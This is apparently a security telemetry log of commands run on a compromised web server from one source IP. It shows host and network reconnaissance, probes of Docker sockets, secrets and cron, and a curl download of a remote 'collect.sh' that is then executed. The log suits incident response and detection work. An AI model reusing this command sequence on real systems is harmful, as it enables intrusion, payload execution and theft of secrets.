| 2026-10-29 20:03:27 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | cat /proc/net/tcp |
| 2026-10-29 20:03:37 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -la /var/run/docker.sock |
| 2026-10-29 20:03:37 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -la /proc/1/root/ |
| 2026-10-29 20:03:37 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -la /usr/sbin/sshd |
| 2026-10-29 20:03:37 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -la /run/secrets |
| 2026-10-29 20:03:37 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | cat /proc/net/tcp |
| 2026-10-29 20:03:49 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | touch /tmp/.wtest |
| 2026-10-29 20:03:49 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | cat /etc/hosts |
| 2026-10-29 20:03:49 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | rm -f /tmp/.wtest |
| 2026-10-29 20:03:49 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -ld /etc/cron.d /etc/crontab |
| 2026-10-29 20:03:49 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | cat /etc/resolv.conf |
| 2026-10-29 20:03:49 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -la /var/www/html/zz.txt |
| 2026-10-29 20:03:49 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | touch /var/www/.wtest |
| 2026-10-29 20:03:56 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -ld /run /dev/shm |
| 2026-10-29 20:03:56 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | cat /proc/net/route |
| 2026-10-29 20:04:07 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | id |
| 2026-10-29 20:04:07 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | timeout 40 sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2 |
| 2026-10-29 20:04:07 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | timeout -> timeout | sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2>/dev/null
; sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2>/dev/null
; sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2>/dev/null
; sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2>/dev/null
|
| 2026-10-29 20:04:07 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -la /tmp/collect.sh |
| 2026-10-29 20:04:07 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | sh /tmp/collect.sh -i 1104 -n <REDACTED>-443 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; tr \0 ; tr \0 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; cut -c1-80 ; tr \0 ; tr \0 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; tr \0 |
| 2026-10-29 20:04:07 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | pgrep -af beacon |
| 2026-10-29 20:04:07 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | curl -sS -o /tmp/collect.sh http://206.245.153.56:8088/tools/collect.sh |
| 2026-10-29 20:04:12 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | egrep -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfo |
| 2026-10-29 20:04:12 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | lscpu |
| 2026-10-29 20:04:12 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | nproc |
| 2026-10-29 20:04:12 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | id -un |
| 2026-10-29 20:04:12 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | timeout 40 sh -c
echo "== lscpu"; lscpu 2>/dev/null
echo "== nproc"; nproc 2>/dev/null
echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null
echo "== online"; cat |
| 2026-10-29 20:04:12 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | getent passwd www-data |
| 2026-10-29 20:04:12 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | timeout -> timeout | sh -c
echo "== lscpu"; lscpu 2>/dev/null
echo "== nproc"; nproc 2>/dev/null
echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null
echo "== online"; cat /sys/device ; sh -c
echo "== lscpu"; lscpu 2>/dev/null
echo "== nproc"; nproc 2>/dev/null
echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null
echo "== online"; cat /sys/device ; sh -c
echo "== lscpu"; lscpu 2>/dev/null
echo "== nproc"; nproc 2>/dev/null
echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null
echo "== online"; cat /sys/device ; sh -c
echo "== lscpu"; lscpu 2>/dev/null
echo "== nproc"; nproc 2>/dev/null
echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null
echo "== online"; cat /sys/device |
| 2026-10-29 20:04:12 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | cat /etc/debian_version /etc/alpine-release /etc/redhat-release |
| 2026-10-29 20:04:12 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | uname -r |
| 2026-10-29 20:04:12 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | uname -m |
| 2026-10-29 20:04:12 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | getconf LONG_BIT |
| 2026-10-29 20:04:12 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | cat /etc/os-release |
| 2026-10-29 20:04:12 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | id |
| 2026-10-29 20:04:12 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | uname -a |
| 2026-10-29 20:04:12 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | whoami |
| 2026-10-29 20:04:17 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | timeout 40 sh -c
echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null
echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100
echo "== lsblk"; lsblk 2>/dev/null
echo "== partitions"; cat /proc/partitions 2>/dev/null
echo "== du"; for d in /var/www /var/www/html /home /o |
| 2026-10-29 20:04:17 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | lsblk |
| 2026-10-29 20:04:17 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | df -iP |
| 2026-10-29 20:04:17 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | df -hP |
| 2026-10-29 20:04:17 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | timeout -> timeout | sh -c
echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null
echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100
echo "== lsblk"; lsblk 2>/dev/null
echo "== partitions"; cat /proc/partitions 2>/dev/null
echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c
echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null
echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100
echo "== lsblk"; lsblk 2>/dev/null
echo "== partitions"; cat /proc/partitions 2>/dev/null
echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c
echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null
echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100
echo "== lsblk"; lsblk 2>/dev/null
echo "== partitions"; cat /proc/partitions 2>/dev/null
echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c
echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null
echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100
echo "== lsblk"; lsblk 2>/dev/null
echo "== partitions"; cat /proc/partitions 2>/dev/null
echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm |
| 2026-10-29 20:04:17 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | egrep ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfo |
| 2026-10-29 20:04:17 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | free -m |
| 2026-10-29 20:04:17 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | free -h |
| 2026-10-29 20:04:17 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | timeout -> timeout | sh -c
echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null
echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null
echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c
echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null
echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null
echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c
echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null
echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null
echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c
echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null
echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null
echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou |
| 2026-10-29 20:04:17 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | timeout 40 sh -c
echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null
echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null
echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /s |
| 2026-10-29 20:04:22 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | find / -xdev ( -path /proc -o -path /sys -o -path /dev ) -prune -o -type f -size +50M -printf %s %p\n |
| 2026-10-29 20:04:31 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ps -ef |
| 2026-10-29 20:04:37 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | pgrep -af collect |
| 2026-10-29 20:04:37 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | pgrep -af beacon |
| 2026-10-29 20:04:42 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | bash -> bash | ls -la /tmp/*.tsv /tmp/meta.tsv |
| 2026-10-29 20:04:46 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | cat /etc/resolv.conf |
| 2026-10-29 20:04:46 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | cat /etc/hosts |
| 2026-10-29 20:04:46 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | cat /proc/net/arp |
| 2026-10-29 20:04:46 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | cat /proc/net/tcp /proc/net/tcp6 |
| 2026-10-29 20:04:46 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | cat /proc/net/udp /proc/net/udp6 |
| 2026-10-29 20:04:46 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | hostname -I |
| 2026-10-29 20:04:46 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | cat /proc/net/route |
| 2026-10-29 20:04:46 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | sh -> sh | timeout 40 sh -c
echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null
echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null
echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null
echo "== macs"; for i in /sys/class/net/*; do print |
| 2026-10-29 20:04:46 | 185.65.134.250 | 185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sent | timeout -> timeout | sh -c
